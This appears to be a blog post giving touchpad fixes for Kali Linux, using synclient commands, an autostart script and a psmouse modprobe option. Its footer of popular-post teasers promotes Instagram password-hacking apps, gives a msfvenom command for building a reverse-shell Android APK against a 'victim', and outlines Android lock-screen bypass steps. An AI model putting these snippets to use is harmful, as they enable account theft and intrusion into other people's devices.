Skip to main content

Kali Linux : Touchpad issues - Tapping reverse/natural scrolling.

Fix 1: Easiest - GUI setting

This fix requires no fancy commands. You just have to go to Mouse & Touchpad settings and make appropriate changes. To go to the settings, you can either-
  • Press the windows key (on the lower bottom, Ctrl key, Function key, Windows key, Alt key), and type mouse in the search bar that shows up.
  • Click the activities button on the top left, and type mouse in the search bar that shows up.

Now, you should see something like this-
You can check the tap to click and two finger scroll options and your problem is solved.
If, however, you see something like this-
Then you have to use the next fixes, as the Mouse and Touchpad setting are useless for you.

Fix 2 : Tapping and reverse Scroll

If you are able to scroll just fine, but your touchpad is not registering the taps, then just type this command into the terminal-
synclient tapbutton1=1
This should enable tapping for you.

In my case, I had scrolling working without any problems, but I prefer natural scrolling, and that option wasn't there for me in mouse & touchpad settings. However, if you type synclient into the terminal, you see something like this-
new@kali:
  • Parameter settings:
        LeftEdge                = 1618
        RightEdge               = 5366
        TopEdge                 = 1356
        BottomEdge              = 4536
        FingerLow               = 25
        FingerHigh              = 30
        MaxTapTime              = 180
        MaxTapMove              = 251
        MaxDoubleTapTime        = 100
        SingleTapTimeout        = 180
        ClickTime               = 100
        EmulateMidButtonTime    = 75
        EmulateTwoFingerMinZ    = 282
        EmulateTwoFingerMinW    = 7
        VertScrollDelta         = 114
        HorizScrollDelta        = 114
        VertEdgeScroll          = 0
        HorizEdgeScroll         = 0
        CornerCoasting          = 0
        VertTwoFingerScroll     = 1
        HorizTwoFingerScroll    = 0
        MinSpeed                = 1
        MaxSpeed                = 1.75
        AccelFactor             = 0.035014
        TouchpadOff             = 0
        LockedDrags             = 0
        LockedDragTimeout       = 5000
        RTCornerButton          = 0
        RBCornerButton          = 0
        LTCornerButton          = 0
        LBCornerButton          = 0
        TapButton1              = 1
        TapButton2              = 0
        TapButton3              = 0
        ClickFinger1            = 1
        ClickFinger2            = 1
        ClickFinger3            = 1
        CircularScrolling       = 0
        CircScrollDelta         = 0.1
        CircScrollTrigger       = 0
        CircularPad             = 0
        PalmDetect              = 0
        PalmMinWidth            = 10
        PalmMinZ                = 200
        CoastingSpeed           = 20
        CoastingFriction        = 50
        PressureMotionMinZ      = 30
        PressureMotionMaxZ      = 160
        PressureMotionMinFactor = 1
        PressureMotionMaxFactor = 1
        GrabEventDevice         = 0
        TapAndDragGesture       = 1
        AreaLeftEdge            = 0
        AreaRightEdge           = 0
        AreaTopEdge             = 0
        AreaBottomEdge          = 0
        HorizHysteresis         = 28
        VertHysteresis          = 28
        ClickPad                = 0


  •  
You can quickly notice the VertScrollDelta (delta usually refers to rate of change, here speed of scrolling) parameter which for me is set to 114. I decided to check if making it -114 would make it scroll at the same speed but in the opposite direction. To test that, I tried the following command-
synclient VertScrollDelta=-114
And turns out I was right and it did reverse the direction of scrolling.

Little problem

These changes that we made aren't persistent, and the synclient setting would revert to default every time you start your system again. There are many solutions to this, one of which include editing files in /usr/share/X11/xorg.conf.d/. However, these files tend to get overwritten and we have to deal with a lot of other mess to fix that behavior.

Instead, we will use a very simple solution, and just run the above two commands on system startup.

Add the commands to startup

Step 1 : Navigate to the .config directory
cd ~/.config/
Step 2 : Check if autostart folder exists
ls
Step 3: If it doesn't exist, create the folder. If it exists, skip this step
mkdir autostart
Step 4: Navigate to autostart folder
cd autostart
Step 5: Use your favorite text editor [vim v/s/ sublime text?] (or cat ). I'm using leafpad to make things look less intimidating.
leafpad script.desktop
Step 6: A leafpad windows will pop up. Paste one of the following into the window and then save and then close leafpad.
If you are logged in as root (probably the case)
[Desktop Entry]
Name=MyScript
Type=Application
Exec=/root/script.sh

If you are logged in as another user (if you created a non-superuser account)
[Desktop Entry]
Name=MyScript
Type=Application
Exec=/home/<name here>/script.sh
Note 1 : To find the <name here> in second case, just navigate to home (cd ~) and find present working directory (pwd)
Note 2 : (If you're curious why I didn't use ~ and instead made two different scripts for root and other users) Exec=~/script.sh didn't work for me. Maybe it does work in general, and there was some other factor in play for me, or maybe it isn't supposed to work at all. Not sure. Any comments in this regard are welcome.
Step 7: Change directory to home.
cd ~
Step 8: Create a file called  script.sh
leafpad script.sh
Step 9: Paste the following code into it. Then save.

synclient tapbutton1=1  #To enable tapping
synclient VertScrollDelta=-114  #To reverse direction of scroll
PS: Paste only the lines required by you.

Step 10: Make it executable
chmod 777 script.sh
or
chmod a+x script.sh
Restart Kali and see if your tapping and reverse scroll are still working. If not, go through the steps again and see what you missed. Everything is case sensitive so you have to be very careful in that regard.

TroubleShooting

If typing the commands into the terminal worked for you, but automation by adding the commands to startup didn't, then here is one simple troubleshooting tip to isolate the problem.
Open a terminal and type
./script.sh
If your tapping/reverse scrolling is working fine now, then your script is fine, but the autostart directory content is not. Recheck steps 1 to 6.
If your tapping/reverse scrolling isn't working fine, then your script is flawed. Recheck step 7 to 10.

Fix 3 : modprobe method

I found out about this method here. It did fix a few things for me, but like the second reply on the thread, what happened with me was- 
Earlier my scroll was working and tap to click wasn't
After running the commands
Tap to click started working and two finger scroll stopped working

Also, even when my scroll was working it wasn't natural scroll and that's a bit inconvenient for me. So, Fix 2 above was the best fix for me. However, I've included this fix because it seems to work with most people. So here it is- 
Step 1 : Open a terminal. 
Step 2 : Type the following command. Your mouse pointer will stop working after typing the first command and will resume continue working (hopefully with the touchpad problems solved) after the second.
modprobe -r psmouse 
modprobe psmouse proto=imps

Persistence

Follow these steps-

Step 1 : Navigate to required directory
cd /etc/modprobe.d/
Step 2 : Open text editor
leafpad whatever.conf
Step 3:  Paste this-
options psmouse proto=imps
Step 4: Save and exit
Restart and see if the changes are persistent. 

Comments

Popular posts from this blog

Top 10 Free Instagram Hacker App For iPhone and Android.

Top 10 Free Instagram Hacker App For iPhone and Android Posted by Nagesh ;) Instagram is no doubt one of the most used apps when it comes to uploading and sharing pictures with your friends and families. However, as much as you may like to use Instagram, the fact remains that anyone can access your account with or without your consent. How is this possible you may ask? The answer lies in the Instagram hacker app. Yes!! You heard right. An Instagram hacker app is a type of an app that works by retrieving passwords and other login details from a target account. As it stands, since Instagram is available on both the Android and iOS platforms, these apps can be found on this platforms as well. These Instagram hack apps are efficient when it comes to hacking passwords, so it's best to be guaranteed that they will hack your IG account in a matter of minutes. Part 1: 5 Free Instagram Hacker App For iPhone Part 2: 5 Free Instagram Hacker App For Android Part 3: Using ...

HOW TO HACK ANDROID USING KALI LINUX 2017 (METASPLOIT)

Getting an access of victim devices (Computer, Android based Phone) is very easy because of reverse exploitation ttacks. A hacker use different types of exploitation’s to gaining access like reverse_tcp, reverse_http and many more with various types of file format (.exe .bat .apk). A payload which is created using reverse_tcp, When victim download that file and install it then it created a reverse connection victim to attacker. There is may be the victim having firewall or some other defense system, In this attack the firewall looks that the client (victim) to send request to the server (attacker machine) that’s why it allow the connection. In this tutorial, I am going to show how we can create a android payload and by using that how can we gaining access of victim device. Open terminal: msfvenom -p android/meterpreter/reverse_tcp set lhost=192.168.0.100 -o fun.apk Where LHOST is the listening host (In my case this is my private IP as per my lab environment), You can ...

How to Bypass your Android Mobile Screen Lock Easily

How to Bypass your Android Mobile Screen Lock Easily METHOD I Solution For Everyone With Recovery (Cwm, Twrp, Xrec,Etc…) Installed: INSTRUCTIONS: 1. Download this zip Pattern Password Disable (Download from attachments) on to your sdcard (using your PC, as you cant get into your phone, right ) 2. Insert the sdcard into your phone 3. Reboot into recovery mode 4. Flash the zip 5. Reboot 6. Done! Note:  If You See The Gesture Pattern Grid Or Password After Restarting, Don’t Worry. Just Try Any Random Pattern Or Password And it Should Unlock. METHOD 2 Solution For Everyone Without Recovery Installed – ADB: What You Need: =>A computer running a Linux distro or Windows+Cygwin =>USB cable to connect your phone to the PC =>Adb installed How to install adb: 1. Open Terminal 2. Type: “sudo apt-get install android-tools-adb” -> Hit [Enter] 3. Follow the instructions until everything is installed. INSTRUCTIONS: 1. Connect you (turned on) Phone to...